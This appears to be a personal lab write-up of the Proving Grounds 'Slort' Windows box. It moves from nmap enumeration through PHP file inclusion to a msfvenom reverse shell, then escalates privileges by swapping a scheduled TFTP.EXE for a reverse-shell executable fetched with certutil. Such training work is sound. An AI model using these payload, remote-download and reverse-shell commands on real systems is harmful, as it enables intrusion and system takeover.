Slort (Windows)

April 22nd 2023

Target given:

Nmap on target: sudo nmap -sC -sV -v -p- (-sC Common scripts; -sV service Versions; -v verbose (start seeing data to research results sooner); -p- all ports)

Takes some time since it runs through a lot of scripts

Nmap scan report for

Host is up (0.00032s latency).

Not shown: 65520 closed tcp ports (conn-refused)


21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta

| ftp-syst: 

|_  SYST: UNIX emulated by FileZilla

135/tcp   open  msrpc         Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp   open  microsoft-ds?

3306/tcp  open  mysql?

| fingerprint-strings: 

|   NULL: 

|_    Host '' is not allowed to connect to this MariaDB server

4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

| http-title: Welcome to XAMPP

|_Requested resource was

|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

5040/tcp  open  unknown

7680/tcp  open  pando-pub?

8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

|_http-open-proxy: Proxy might be redirecting requests

| http-title: Welcome to XAMPP

|_Requested resource was

49664/tcp open  msrpc         Microsoft Windows RPC

49665/tcp open  msrpc         Microsoft Windows RPC

49666/tcp open  msrpc         Microsoft Windows RPC

49667/tcp open  msrpc         Microsoft Windows RPC

49668/tcp open  msrpc         Microsoft Windows RPC

49669/tcp open  msrpc         Microsoft Windows RPC

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :




Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode: 

|   311: 

|_    Message signing enabled but not required

| smb2-time: 

|   date: 2023-04-22T13:25:08

|_  start_date: N/A

Results show that it's a windows device due to all the msrpc ports open.

Also 445 is SMB

Zenith AI analysis:

FileZilla FTP Server 0.9.41 beta (Port 21):

FileZilla version 0.9.41 is a beta version, which means it might not be stable and may contain undiscovered vulnerabilities. It is advisable to update to a stable version.

Microsoft Windows RPC (Ports 135, 49664-49669):

Remote Procedure Call (RPC) services are known to have potential vulnerabilities that can be exploited, such as buffer overflows, DoS attacks, or unauthorized access.

NetBIOS-ssn (Port 139) and Microsoft-ds (Port 445):

These services are used for file sharing and are associated with the SMB protocol. Vulnerabilities in these services can lead to unauthorized access or information disclosure, such as the EternalBlue exploit.

MySQL/MariaDB (Port 3306):

The MariaDB server is restricting access from the host ''. Weak configurations and outdated versions can lead to vulnerabilities like SQL injection, privilege escalation, and information disclosure.

Apache HTTP Server 2.4.43 with OpenSSL/1.1.1g and PHP/7.4.6 (Ports 4443 and 8080):

Apache, OpenSSL, and PHP are well-known software with various vulnerabilities, depending on the version and configuration. The server might be susceptible to attacks like cross-site scripting (XSS), remote code execution, or man-in-the-middle (MITM) attacks if not configured properly.

Pando-pub? (Port 7680):

The service running on this port is not identified, which may warrant further investigation.

SMB Security Mode:

The SMB configuration allows message signing, but it is not required, which could expose the host to man-in-the-middle (MITM) attacks.

So now to check the versions for vulns.

Welp DOS won't get root so onto the next.

Maybe SMB fileshare client as an Anon / Null user?

??$ smbclient -L //

Password for [WORKGROUP\kali]:

session setup failed: NT_STATUS_ACCESS_DENIED

I mean it was worth a shot. You know sometimes the easiest way into a treasure trove is through the front door 😆

Now to check the web pages on 443 and 8080 to see if there are websites since there's a Maria database on 3306 so it may be worth seeing if I can edit it through the sites

443 on https didn't load but 8080 did

Time to rip it apart. using grep since I don't want spam on 400 status codes


??$ dirb | grep DIRECTORY



























Will hit up parent directories first then children if needed. Mass open site, dashboard, and img.

Well img is sus since it shows the files like that. 

Also site is sketch since it references the page as a .php file via local file inclusion LFI so maybe I can grab other things that arent local? 

My IP is so I'll try a netcat nc reverse listener

Also wow the proving grounds default Kali is so slow. Will need to VPN in and do these on my own kali since this is ridiculous

Well the target system spoke spanish but no "Hola! Como Estas?" /hola page from me thus the connection closed.

At least it can connect to an attack box and try to pull a page so now to have it pull a reverse shell from me. 


I read somewhere that it's best to first pull a script that isn't the reverse shell but a page that then downloads the rev shell once it's already been downloaded to the target server. Since the target webserver reads php we'll match format and give it a php file.

Let's craft the reverse shell via venom

Since target is running a php site we'll use a php reverse shell. Also since 445 is open we can use that as a listening port since it is already open and won't be easily blocked.

msfvenom -p php/reverse_php LHOST= LPORT=445 > reverse.php


Now to set up a http server so target can actually download them:

python3 -m http.server 80


And I'm in. Remember to use "type" to read files in windows



cd Desktop


 Volume in drive C has no label.

 Volume Serial Number is 6E11-8C59

 Directory of C:\Users\rupert\Desktop

05/04/2022  01:53 AM    <DIR>          .

05/04/2022  01:53 AM    <DIR>          ..

04/22/2023  06:20 AM                34 local.txt

               1 File(s)             34 bytes

               2 Dir(s)  28,620,152,832 bytes free

type local.txt


After submitting the access flag I'm going for root / system

Privilege Escalation

Time to explore

cd C:\


 Volume in drive C has no label.

 Volume Serial Number is 6E11-8C59

 Directory of C:\

07/20/2020  07:08 AM    <DIR>          Backup

12/07/2019  02:14 AM    <DIR>          PerfLogs

05/04/2022  01:06 AM    <DIR>          Program Files

12/03/2021  09:22 AM    <DIR>          Program Files (x86)

12/03/2021  09:29 AM    <DIR>          Users

05/04/2022  01:52 AM    <DIR>          Windows

06/12/2020  08:11 AM    <DIR>          xampp

               0 File(s)              0 bytes

               7 Dir(s)  28,620,156,928 bytes free

cd Backup


 Volume in drive C has no label.

 Volume Serial Number is 6E11-8C59

 Directory of C:\Backup

07/20/2020  07:08 AM    <DIR>          .

07/20/2020  07:08 AM    <DIR>          ..

06/12/2020  07:45 AM            11,304 backup.txt

06/12/2020  07:45 AM                73 info.txt

06/23/2020  07:49 PM            73,802 TFTP.EXE

               3 File(s)         85,179 bytes

               2 Dir(s)  28,620,156,928 bytes free

type info.txt

Run every 5 minutes:

C:\Backup\TFTP.EXE -i get backup.txt

TFTP.exe runs every 5 minutes and probably runs with system privileges 

I'll replace TFTP.exe with my own version for a more privileged shell

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=445 -f exe -o TFTP.EXE

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 73802 bytes

Saved as: TFTP.EXE

It's normal to have 10's of thousands of bytes of bloat bs since it's windows.

Now to download new TFTP.EXE file

certutil.exe -f -urlcache -split

Got 200 codes from my http server for the new .exe so now make a new listener and wait for the connection to catch  for a system level root before looking for the system level flags.